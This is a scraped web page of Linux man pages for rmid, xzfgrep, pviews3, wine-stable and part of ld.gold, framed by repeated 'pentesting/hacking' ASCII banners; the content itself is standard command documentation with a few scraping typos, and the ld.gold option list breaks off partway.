             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

965 - Linux cli command rmid

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rmid and provides detailed information about the command rmid, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rmid.

NAME 🖥️ rmid 🖥️

Starts the activation system daemon that enables objects to be registered and activated in a Java Virtual Machine (JVM).

SYNOPSIS

rmid [options]

options
The command-line options. See Options.

DESCRIPTION

The rmid command starts the activation system daemon. The activation system daemon must be started before activatable objects can be either registered with the activation system or activated in a JVM. For details on how to write programs that use activatable objects, the Using Activation tutorial at http://docs.oracle.com/javase/8/docs/technotes/guides/rmi/activation/overview.html

Start the daemon by executing the rmid command and specifying a security policy file, as follows:

rmid -J-Djava.security.policy=rmid.policy

When you run Oracle’s implementation of the rmid command, by default you must specify a security policy file so that the rmid command can verify whether or not the information in each ActivationGroupDesc is allowed to be used to start a JVM for an activation group. Specifically, the command and options specified by the CommandEnvironment and any properties passed to an ActivationGroupDesc constructor must now be explicitly allowed in the security policy file for the rmid command. The value of the sun.rmi.activation.execPolicy property dictates the policy that the rmid command uses to determine whether or not the information in an ActivationGroupDesc can be used to start a JVM for an activation group. For more information see the description of the -J-Dsun.rmi.activation.execPolicy=policy option.

Executing the rmid command starts the Activator and an internal registry on the default port1098 and binds an ActivationSystem to the name java.rmi.activation.ActivationSystem in this internal registry.

To specify an alternate port for the registry, you must specify the -port option when you execute the rmid command. For example, the following command starts the activation system daemon and a registry on the registry’s default port, 1099.

rmid -J-Djava.security.policy=rmid.policy -port 1099

START RMID ON DEMAND

An alternative to starting rmid from the command line is to configure inetd (Oracle Solaris) or xinetd (Linux) to start rmid on demand.

When RMID starts, it attempts to obtain an inherited channel (inherited from inetd/xinetd) by calling the System.inheritedChannel method. If the inherited channel is null or not an instance of java.nio.channels.ServerSocketChannel, then RMID assumes that it was not started by inetd/xinetd, and it starts as previously described.

If the inherited channel is a ServerSocketChannel instance, then RMID uses the java.net.ServerSocket obtained from the ServerSocketChannel as the server socket that accepts requests for the remote objects it exports: The registry in which the java.rmi.activation.ActivationSystem is bound and the java.rmi.activation.Activator remote object. In this mode, RMID behaves the same as when it is started from the command line, except in the following cases:

·
Output printed to System.err is redirected to a file. This file is located in the directory specified by the java.io.tmpdir system property (typically /var/tmp or /tmp) with the prefix rmid-err and the suffix tmp.

·
The -port option is not allowed. If this option is specified, then RMID exits with an error message.

·
The -log option is required. If this option is not specified, then RMID exits with an error message

See the man pages for inetd (Oracle Solaris) or xinetd (Linux) for details on how to configure services to be started on demand.

OPTIONS

-Coption

Specifies an option that is passed as a command-line argument to each child process (activation group) of the rmid command when that process is created. For example, you could pass a property to each virtual machine spawned by the activation system daemon:

rmid -C-Dsome.property=value

This ability to pass command-line arguments to child processes can be useful for debugging. For example, the following command enables server-call logging in all child JVMs.

rmid -C-Djava.rmi.server.logCalls=true

-Joption

Specifies an option that is passed to the Java interpreter running RMID. For example, to specify that the rmid command use a policy file named rmid.policy, the -J option can be used to define the java.security.policy property on the rmid command line, for example:

rmid -J-Djava.security.policy-rmid.policy

-J-Dsun.rmi.activation.execPolicy=policy

Specifies the policy that RMID employs to check commands and command-line options used to start the JVM in which an activation group runs. Please note that this option exists only in Oracle’s implementation of the Java RMI activation daemon. If this property is not specified on the command line, then the result is the same as though -J-Dsun.rmi.activation.execPolicy=default were specified. The possible values of policy can be default, policyClassName, or none.

·
default

The default or unspecified value execPolicy allows the rmid command to execute commands with specific command-line options only when the rmid command was granted permission to execute those commands and options in the security policy file that the rmid command uses. Only the default activation group implementation can be used with the default execution policy.

The rmid command starts a JVM for an activation group with the information in the group’s registered activation group descriptor, an ActivationGroupDesc. The group descriptor specifies an optional ActivationGroupDesc.CommandEnvironment that includes the command to execute to start the activation group and any command-line options to be added to the command line. By default, the rmid command uses the java command found in java.home. The group descriptor also contains properties overrides that are added to the command line as options defined as: -D<property>=<value>.The com.sun.rmi.rmid.ExecPermission permission grants the rmid command permission to execute a command that is specified in the group descriptor’s CommandEnvironment to start an activation group. The com.sun.rmi.rmid.ExecOptionPermission permission enables the rmid command to use command-line options, specified as properties overrides in the group descriptor or as options in the CommandEnvironment when starting the activation group.When granting the rmid command permission to execute various commands and options, the permissions ExecPermission and ExecOptionPermission must be granted to all code sources.

ExecPermission

The ExecPermission class represents permission for the rmid command to execute a specific command to start an activation group.

Syntax: The name of an ExecPermission is the path name of a command to grant the rmid command permission to execute. A path name that ends in a slash (/) and an asterisk (*) indicates that all of the files contained in that directory where slash is the file-separator character, File.separatorChar. A path name that ends in a slash (/) and a minus sign (-) indicates all files and subdirectories contained in that directory (recursively). A path name that consists of the special token <<ALL FILES>> matches any file.

A path name that consists of an asterisk (*) indicates all the files in the current directory. A path name that consists of a minus sign (-) indicates all the files in the current directory and (recursively) all files and subdirectories contained in the current directory.

ExecOptionPermission

The ExecOptionPermission class represents permission for the rmid command to use a specific command-line option when starting an activation group. The name of an ExecOptionPermission is the value of a command-line option.

Syntax: Options support a limited wild card scheme. An asterisk signifies a wild card match, and it can appear as the option name itself (matches any option), or an asterisk (*) can appear at the end of the option name only when the asterisk (*) follows a dot (.) or an equals sign (=).

For example: * or -Dmydir.* or -Da.b.c=* is valid, but *mydir or -Da*b or ab* is not.

Policy file for rmid

When you grant the rmid command permission to execute various commands and options, the permissions ExecPermission and ExecOptionPermission must be granted to all code sources (universally). It is safe to grant these permissions universally because only the rmid command checks these permissions.

An example policy file that grants various execute permissions to the rmid command is:

grant {

    permission com.sun.rmi.rmid.ExecPermission

        "/files/apps/java/jdk1.7.0/solaris/bin/java";

    permission com.sun.rmi.rmid.ExecPermission

        "/files/apps/rmidcmds/*";

    permission com.sun.rmi.rmid.ExecOptionPermission

        "-Djava.security.policy=/files/policies/group.policy";

    permission com.sun.rmi.rmid.ExecOptionPermission

        "-Djava.security.debug=*";

    permission com.sun.rmi.rmid.ExecOptionPermission

        "-Dsun.rmi.*";

};

The first permission granted allows the rmid tcommand o execute the 1.7.0 release of the java command, specified by its explicit path name. By default, the version of the java command found in java.home is used (the same one that the rmid command uses), and does not need to be specified in the policy file. The second permission allows the rmid command to execute any command in the directory /files/apps/rmidcmds.

The third permission granted, an ExecOptionPermission, allows the rmid command to start an activation group that defines the security policy file to be /files/policies/group.policy. The next permission allows the java.security.debug property to be used by an activation group. The last permission allows any property in the sun.rmi property name hierarchy to be used by activation groups.

To start the rmid command with a policy file, the java.security.policy property needs to be specified on the rmid command line, for example:

rmid -J-Djava.security.policy=rmid.policy.

·
<policyClassName>

If the default behavior is not flexible enough, then an administrator can provide, when starting the rmid command, the name of a class whose checkExecCommand method is executed to check commands to be executed by the rmid command.

The policyClassName specifies a public class with a public, no-argument constructor and an implementation of the following checkExecCommand method:

 public void checkExecCommand(ActivationGroupDesc desc, String[] command)

        throws SecurityException;

Before starting an activation group, the rmid command calls the policy’s checkExecCommand method and passes to it the activation group descriptor and an array that contains the complete command to start the activation group. If the checkExecCommand throws a SecurityException, then the rmid command does not start the activation group and an ActivationException is thrown to the caller attempting to activate the object.

·
none

If the sun.rmi.activation.execPolicy property value is none, then the rmid command does not perform any validation of commands to start activation groups.

-log dir

Specifies the name of the directory the activation system daemon uses to write its database and associated information. The log directory defaults to creating a log, in the directory in which the rmid command was executed.

-port port

Specifies the port the registry uses. The activation system daemon binds the ActivationSystem, with the name java.rmi.activation.ActivationSystem, in this registry. The ActivationSystem on the local machine can be obtained using the following Naming.lookup method call:

import java.rmi.*; 
    import java.rmi.activation.*;

    ActivationSystem system; system = (ActivationSystem)

    Naming.lookup("//:port/java.rmi.activation.ActivationSystem");

-stop

Stops the current invocation of the rmid command for a port specified by the -port option. If no port is specified, then this option stops the rmid invocation running on port 1098.

ENVIRONMENT VARIABLES

CLASSPATH
Used to provide the system a path to user-defined classes. Directories are separated by colons, for example: .:/usr/local/java/classes.

SEE ALSO

·
java(1)

·
Setting the Class Path

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

966 - Linux cli command xzfgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzfgrep and provides detailed information about the command xzfgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzfgrep.

NAME 🖥️ xzfgrep 🖥️

search possibly-compressed files for patterns

SYNOPSIS

xzgrep [option…] [pattern_list] [file…]
xzegrep
xzfgrep
lzgrep
lzegrep
lzfgrep

DESCRIPTION

xzgrep invokes grep(1) on uncompressed contents of files. The formats of the files are determined from the filename suffixes. Any file with a suffix supported by xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) will be decompressed; all other files are assumed to be uncompressed.

If no files are specified or file is - then standard input is read. When reading from standard input, only files supported by xz(1) are decompressed. Other files are assumed to be in uncompressed form already.

Most options of grep(1) are supported. However, the following options are not supported:

-r, –recursive

-R, –dereference-recursive

-d, **–directories=**action

-Z, –null

-z, –null-data

**–include=**glob

**–exclude=**glob

**–exclude-from=**file

**–exclude-dir=**glob

xzegrep is an alias for xzgrep -E. xzfgrep is an alias for xzgrep -F.

The commands lzgrep, lzegrep, and lzfgrep are provided for backward compatibility with LZMA Utils.

EXIT STATUS

0
At least one match was found from at least one of the input files. No errors occurred.

1
No matches were found from any of the input files. No errors occurred.

>1
One or more errors occurred. It is unknown if matches were found.

ENVIRONMENT

GREP
If GREP is set to a non-empty value, it is used instead of grep, grep -E, or grep -F.

SEE ALSO

grep(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1), zgrep(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

967 - Linux cli command pviews3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pviews3 and provides detailed information about the command pviews3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pviews3.

NAME 🖥️ pviews3 🖥️

Python 3 Pyramid command

DESCRIPTION

usage: pviews3 [-h] [config_uri] [url] [config_vars …]

Print, for a given URL, the views that might match. Underneath each potentially matching route, list the predicates required. Underneath each route+predicate set, print each view that might match and its predicates.

This command accepts two positional arguments: ‘config_uri’ specifies the PasteDeploy config file to use for the interactive shell. The format is ‘inifile#name’. If the name is left off, ‘main’ will be assumed. ‘url’ specifies the path info portion of a URL that will be used to find matching views. Example: ‘proutes myapp.ini#main /url’

positional arguments:

config_uri
The URI to the configuration file.

url
The path info portion of the URL.

config_vars
Variables required by the config file. For example, `http_port=%(http_port)s` would expect `http_port=8080` to be passed here.

options:

-h, –help
show this help message and exit

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

968 - Linux cli command wine-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wine-stable and provides detailed information about the command wine-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wine-stable.

NAME 🖥️ wine-stable 🖥️

run Windows programs on Unix

SYNOPSIS

wine *program *[arguments]
wine –help
wine –version

For instructions on passing arguments to Windows programs, please see the PROGRAM/ARGUMENTS section of the man page.

DESCRIPTION

wine loads and runs the given program, which can be a DOS, Windows 3.x, Win32 or Win64 executable (on 64-bit systems).

For debugging wine, use winedbg instead.

For running CUI executables (Windows console programs), use wineconsole instead of wine. This will display the output in a separate window. Not using wineconsole for CUI programs will only provide very limited console support, and your program might not function properly.

When invoked with –help or –version as the only argument, wine will simply print a small help message or its version respectively and exit.

PROGRAM/ARGUMENTS

The program name may be specified in DOS format (C:\WINDOWS\SOL.EXE) or in Unix format (/msdos/windows/sol.exe). You may pass arguments to the program being executed by adding them to the end of the command line invoking wine (such as: wine notepad C:\TEMP\README.TXT). Note that you need to ‘\ escape special characters (and spaces) when invoking Wine via a shell, e.g.

wine C:\Program\ Files\MyPrg\test.exe

It can also be one of the Windows executables shipped with Wine, in which case specifying the full path is not mandatory, e.g. wine explorer or wine notepad.

ENVIRONMENT

wine makes the environment variables of the shell from which it is started accessible to the Windows/DOS processes started. So use the appropriate syntax for your shell to enter environment variables you need.

WINEPREFIX
If set, the contents of this variable is taken as the name of the directory where Wine stores its data (the default is $HOME/.wine). This directory is also used to identify the socket which is used to communicate with the wineserver. All wine processes using the same wineserver (i.e.: same user) share certain things like registry, shared memory, and config file. By setting WINEPREFIX to different values for different wine processes, it is possible to run a number of truly independent wine processes.

WINESERVER
Specifies the path and name of the wineserver binary. If not set, Wine will look for a file named “wineserver” in the path and in a few other likely locations.

WINELOADER
Specifies the path and name of the wine binary to use to launch new Windows processes. If not set, Wine will look for a file named “wine” in the path and in a few other likely locations.

WINEDEBUG
Turns debugging messages on or off. The syntax of the variable is of the form [class][+|-]channel[,[class2][+|-]channel2]

class is optional and can be one of the following: err, warn, fixme, or trace. If class is not specified, all debugging messages for the specified channel are turned on. Each channel will print messages about a particular component of Wine. The following character can be either + or - to switch the specified channel on or off respectively. If there is no class part before it, a leading + can be omitted. Note that spaces are not allowed anywhere in the string.

Examples:

WINEDEBUG=warn+all
will turn on all warning messages (recommended for debugging).

WINEDEBUG=warn+dll,+heap
will turn on DLL warning messages and all heap messages.

WINEDEBUG=fixme-all,warn+cursor,+relay
will turn off all FIXME messages, turn on cursor warning messages, and turn on all relay messages (API calls).

WINEDEBUG=relay
will turn on all relay messages. For more control on including or excluding functions and dlls from the relay trace, look into the HKEY_CURRENT_USER\Software\Wine\Debug registry key.

For more information on debugging messages, see the Running Wine chapter of the Wine User Guide.

WINEDLLPATH
Specifies the path(s) in which to search for builtin dlls and Winelib applications. This is a list of directories separated by “:”. In addition to any directory specified in WINEDLLPATH, Wine will also look in the installation directory.

WINEDLLOVERRIDES
Defines the override type and load order of dlls used in the loading process for any dll. There are currently two types of libraries that can be loaded into a process address space: native windows dlls (native) and Wine internal dlls (builtin). The type may be abbreviated with the first letter of the type (n or b). The library may also be disabled (’’). Each sequence of orders must be separated by commas.

Each dll may have its own specific load order. The load order determines which version of the dll is attempted to be loaded into the address space. If the first fails, then the next is tried and so on. Multiple libraries with the same load order can be separated with commas. It is also possible to use specify different loadorders for different libraries by separating the entries by “;”.

The load order for a 16-bit dll is always defined by the load order of the 32-bit dll that contains it (which can be identified by looking at the symbolic link of the 16-bit .dll.so file). For instance if ole32.dll is configured as builtin, storage.dll will be loaded as builtin too, since the 32-bit ole32.dll contains the 16-bit storage.dll.

Examples:

WINEDLLOVERRIDES=“comdlg32,shell32=n,b”

Try to load comdlg32 and shell32 as native windows dll first and try the builtin version if the native load fails.

WINEDLLOVERRIDES=“comdlg32,shell32=n;c:\foo\bar\baz=b”

Try to load the libraries comdlg32 and shell32 as native windows dlls. Furthermore, if an application request to load c: ooaraz.dll load the builtin library baz.

WINEDLLOVERRIDES=“comdlg32=b,n;shell32=b;comctl32=n;oleaut32=”

Try to load comdlg32 as builtin first and try the native version if the builtin load fails; load shell32 always as builtin and comctl32 always as native; oleaut32 will be disabled.

WINEPATH
Specifies additional path(s) to be prepended to the default Windows PATH environment variable. This is a list of Windows-style directories separated by “;”.

For a permanent alternative, edit (create if needed) the PATH value under the HKEY_CURRENT_USER\Environment registry key.

WINEARCH
Specifies the Windows architecture to support. It can be set either to win32 (support only 32-bit applications), or to win64 (support both 64-bit applications and 32-bit ones in WoW64 mode).
The architecture supported by a given Wine prefix is set at prefix creation time and cannot be changed afterwards. When running with an existing prefix, Wine will refuse to start if WINEARCH doesn’t match the prefix architecture.

WINE_D3D_CONFIG
Specifies Direct3D configuration options. It can be used instead of modifying the HKEY_CURRENT_USER\Software\Wine\Direct3D registry key. The value is a comma- or semicolon-separated list of key-value pairs. For example:

WINE_D3D_CONFIG=“renderer=vulkan;VideoPciVendorID=0xc0de”

If an individual setting is specified in both the environment variable and the registry, the former takes precedence.

DISPLAY
Specifies the X11 display to use.

OSS sound driver configuration variables:
AUDIODEV
Set the device for audio input / output. Default /dev/dsp.

MIXERDEV
Set the device for mixer controls. Default /dev/mixer.

MIDIDEV
Set the MIDI (sequencer) device. Default /dev/sequencer.

FILES

wine
The Wine program loader.

wineconsole
The Wine program loader for CUI (console) applications.

wineserver
The Wine server

winedbg
The Wine debugger

$WINEPREFIX/dosdevices
Directory containing the DOS device mappings. Each file in that directory is a symlink to the Unix device file implementing a given device. For instance, if COM1 is mapped to /dev/ttyS0 you’d have a symlink of the form $WINEPREFIX/dosdevices/com1 -> /dev/ttyS0.
DOS drives are also specified with symlinks; for instance if drive D: corresponds to the CDROM mounted at /mnt/cdrom, you’d have a symlink $WINEPREFIX/dosdevices/d: -> /mnt/cdrom. The Unix device corresponding to a DOS drive can be specified the same way, except with ‘::’ instead of ‘:’. So for the previous example, if the CDROM device is mounted from /dev/hdc, the corresponding symlink would be $WINEPREFIX/dosdevices/d:: -> /dev/hdc.

AUTHORS

Wine is available thanks to the work of many developers. For a listing of the authors, please see the file AUTHORS in the top-level directory of the source distribution.

COPYRIGHT

Wine can be distributed under the terms of the LGPL license. A copy of the license is in the file COPYING.LIB in the top-level directory of the source distribution.

BUGS

A status report on many applications is available from the

Wine Application Database

Please add entries to this list for applications you currently run, if necessary.

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

The most recent public version of wine is available through WineHQ, the

Wine development headquarters

SEE ALSO

wineserver(1), winedbg(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

969 - Linux cli command ld.gold

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ld.gold and provides detailed information about the command ld.gold, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ld.gold.

NAME 🖥️ ld.gold 🖥️

The GNU ELF linker

SYNOPSIS

ld.gold [options] file

OPTIONS

–help
Report usage information

-v, –version
Report version information

-V
Report version and target information

–add-needed
Not supported

–no-add-needed
Do not copy DT_NEEDED tags from shared libraries (default)

–allow-multiple-definition Allow multiple definitions of symbols

–no-allow-multiple-definition
Do not allow multiple definitions (default)

–allow-shlib-undefined
Allow unresolved references in shared libraries

–no-allow-shlib-undefined
Do not allow unresolved references in shared libraries (default)

–apply-dynamic-relocs
Apply link-time values for dynamic relocations (default)

–no-apply-dynamic-relocs
(aarch64 only) Do not apply link-time values for dynamic relocations

–as-needed
Use DT_NEEDED only for shared libraries that are used

–no-as-needed
Use DT_NEEDED for all shared libraries (default)

-assert [ignored]
Ignored

-b [elf,binary], –format [elf,binary]
Set input format

–be8
Output BE8 format image

–build-id [=STYLE]
Generate build ID note

–build-id-chunk-size-for-treehash SIZE
Chunk size for ‘–build-id=tree’

–build-id-min-file-size-for-treehash SIZE
Minimum output file size for ‘–build-id=tree’ to work differently than ‘–build-id=sha1’

-Bdynamic -l searches for shared libraries (default)

-Bstatic -l does not search for shared libraries

-dy
alias for -Bdynamic (default)

-dn
alias for -Bstatic

-Bgroup
Use group name lookup rules for shared library

-Bshareable
Generate shared library (alias for -G/-shared)

-Bno-symbolic
Don’t bind default visibility defined symbols locally for -shared (default)

-Bsymbolic-functions
Bind default visibility defined function symbols locally for -shared

-Bsymbolic
Bind default visibility defined symbols locally for -shared

–check-sections
Check segment addresses for overlaps (default)

–no-check-sections
Do not check segment addresses for overlaps

–compress-debug-sections [none,zlib,zlib-gnu,zlib-gabi,zstd]
Compress .debug_* sections in the output file

–copy-dt-needed-entries
Not supported

–no-copy-dt-needed-entries Do not copy DT_NEEDED tags from shared libraries (default)

–cref
Output cross reference table

–no-cref
Do not output cross reference table (default)

–ctors-in-init-array
Use DT_INIT_ARRAY for all constructors (default)

–no-ctors-in-init-array
Handle constructors as directed by compiler

-d, –define-common
Define common symbols

–no-define-common
Do not define common symbols in relocatable output (default)

-dc
Alias for -d

-dp
Alias for -d

–debug [all,files,script,task][,…]
Turn on debugging

–defsym SYMBOL=EXPRESSION
Define a symbol

–demangle [=STYLE]
Demangle C++ symbols in log messages

–no-demangle
Do not demangle C++ symbols in log messages

–dependency-file FILE
Write a dependency file listing all files read

–detect-odr-violations
Look for violations of the C++ One Definition Rule

–no-detect-odr-violations
Do not look for violations of the C++ One Definition Rule (default)

–dynamic-list-data
Add data symbols to dynamic symbols

–dynamic-list-cpp-new
Add C++ operator new/delete to dynamic symbols

–dynamic-list-cpp-typeinfo Add C++ typeinfo to dynamic symbols

–dynamic-list FILE
Read a list of dynamic symbols

–emit-stub-syms
(PowerPC only) Label linker stubs with a symbol (default)

–no-emit-stub-syms
(PowerPC only) Do not label linker stubs with a symbol

-e ADDRESS, –entry ADDRESS Set program start address

–eh-frame-hdr
Create exception frame header

–no-eh-frame-hdr
Do not create exception frame header (default)

–enable-new-dtags
Enable use of DT_RUNPATH (default)

–disable-new-dtags
Disable use of DT_RUNPATH

–enable-linker-version
Put the linker version string into the .comment section

–disable-linker-version
Put the linker version string into the .note.gnu.gold-version section (default)

–no-enum-size-warning
(ARM only) Do not warn about objects with incompatible enum sizes

–exclude-libs lib,lib …
Exclude libraries from automatic export

-E, –export-dynamic
Export all dynamic symbols

–no-export-dynamic
Do not export all dynamic symbols (default)

–export-dynamic-symbol SYMBOL
Export SYMBOL to dynamic symbol table

-EB
Link big-endian objects.

-EL
Link little-endian objects.

-f SHLIB, –auxiliary SHLIB Auxiliary filter for shared object symbol table

-F SHLIB, –filter SHLIB
Filter for shared object symbol table

–fatal-warnings
Treat warnings as errors

–no-fatal-warnings
Do not treat warnings as errors (default)

-fini SYMBOL
Call SYMBOL at unload-time

–fix-arm1176
(ARM only) Fix binaries for ARM1176 erratum (default)

–no-fix-arm1176
(ARM only) Do not fix binaries for ARM1176 erratum

–fix-cortex-a8
(ARM only) Fix binaries for Cortex-A8 erratum

–no-fix-cortex-a8
(ARM only) Do not fix binaries for Cortex-A8 erratum (default)

–fix-cortex-a53-843419
(AArch64 only) Fix Cortex-A53 erratum 843419

–no-fix-cortex-a53-843419
(AArch64 only) Do not fix Cortex-A53 erratum 843419 (default)

–fix-cortex-a53-835769
(AArch64 only) Fix Cortex-A53 erratum 835769

–no-fix-cortex-a53-835769
(AArch64 only) Do not fix Cortex-A53 erratum 835769 (default)

–fix-v4bx
(ARM only) Rewrite BX rn as MOV pc, rn for ARMv4

–fix-v4bx-interworking
(ARM only) Rewrite BX rn branch to ARMv4 interworking veneer

-fuse-ld [gold,bfd]
Ignored for GCC linker option compatibility

-g
Ignored

–gc-sections
Remove unused sections

–no-gc-sections
Don’t remove unused sections (default)

–gdb-index
Generate .gdb_index section

–no-gdb-index
Do not generate .gdb_index section (default)

–gnu-unique
Enable STB_GNU_UNIQUE symbol binding (default)

–no-gnu-unique
Disable STB_GNU_UNIQUE symbol binding

-G, -shared
Generate shared library

-h FILENAME, -soname FILENAME
Set shared library name

–hash-bucket-empty-fraction FRACTION
Min fraction of empty buckets in dynamic hash

–hash-style [sysv,gnu,both]
Dynamic hash style

-i
Alias for -r

–icf [none,all,safe]
Identical Code Folding. ‘–icf=safe’ Folds ctors, dtors and functions whose pointers are definitely not taken

–icf-iterations COUNT
Number of iterations of ICF (default 3)

–incremental
Do an incremental link if possible; otherwise, do a full link and prepare output for incremental linking

–no-incremental
Do a full link (default)

–incremental-full
Do a full link and prepare output for incremental linking

–incremental-update
Do an incremental link; exit if not possible

–incremental-base FILE
Set base file for incremental linking (default is output file)

–incremental-changed
Assume files changed

–incremental-unchanged
Assume files didn’t change

–incremental-unknown
Use timestamps to check files (default)

–incremental-startup-unchanged
Assume startup files unchanged (files preceding this option)

–incremental-patch PERCENT Amount of extra space to allocate for patches (default 10)

-init SYMBOL
Call SYMBOL at load-time

-I PROGRAM, –dynamic-linker PROGRAM
Set dynamic linker path

–just-symbols FILE
Read only symbol values from FILE

–keep-files-mapped
Keep files mapped across passes (default on 64bit architectures)

–no-keep-files-mapped
Release mapped files after each pass (default on 32bit architectures)

–keep-unique SYMBOL
Do not fold this symbol during ICF

-l LIBNAME, –library LIBNAME
Search for library LIBNAME

–ld-generated-unwind-info
Generate unwind information for PLT (default)

–no-ld-generated-unwind-info
Do not generate unwind information for PLT

-L DIR, –library-path DIR
Add directory to search path

–long-plt
(ARM only) Generate long PLT entries

–no-long-plt
(ARM only) Do not generate long PLT entries (default)

-m EMULATION
Set GNU linker emulation; obsolete

–map-whole-files
Map whole files to memory (default on 64bit architectures)

–no-map-whole-files
Map relevant file parts to memory (default on 32bit architectures)

–merge-exidx-entries
(ARM only) Merge exidx entries in debuginfo (default)

–no-merge-exidx-entries
(ARM only) Do not merge exidx entries in debuginfo

–mmap-output-file
Map the output file for writing (default)

–no-mmap-output-file
Do not map the output file for writing

-M, –print-map
Write map file on standard output

-Map MAPFILENAME
Write map file

-n, –nmagic
Do not page align data

-N, –omagic
Do not page align data, do not make text readonly

–no-omagic
Page align data, make text readonly (default)

–no-keep-memory
Use less memory and more disk I/O (included only for compatibility with GNU ld)

–no-undefined
Report undefined symbols (even with –shared)

–noinhibit-exec
Create an output file even if errors occur

-nostdlib
Only search directories specified on the command line

-o FILE, –output FILE
Set output file name

–oformat [binary]
Set output format

-O LEVEL, -optimize LEVEL
Optimize output file size

–orphan-handling [place,discard,warn,error]
Orphan section handling

-p
Ignored for ARM compatibility

–package-metadata [=JSON]
Generate package metadata note

-pie
Create a position independent executable

-no-pie
Do not create a position independent executable (default)

–pic-executable
Create a position independent executable

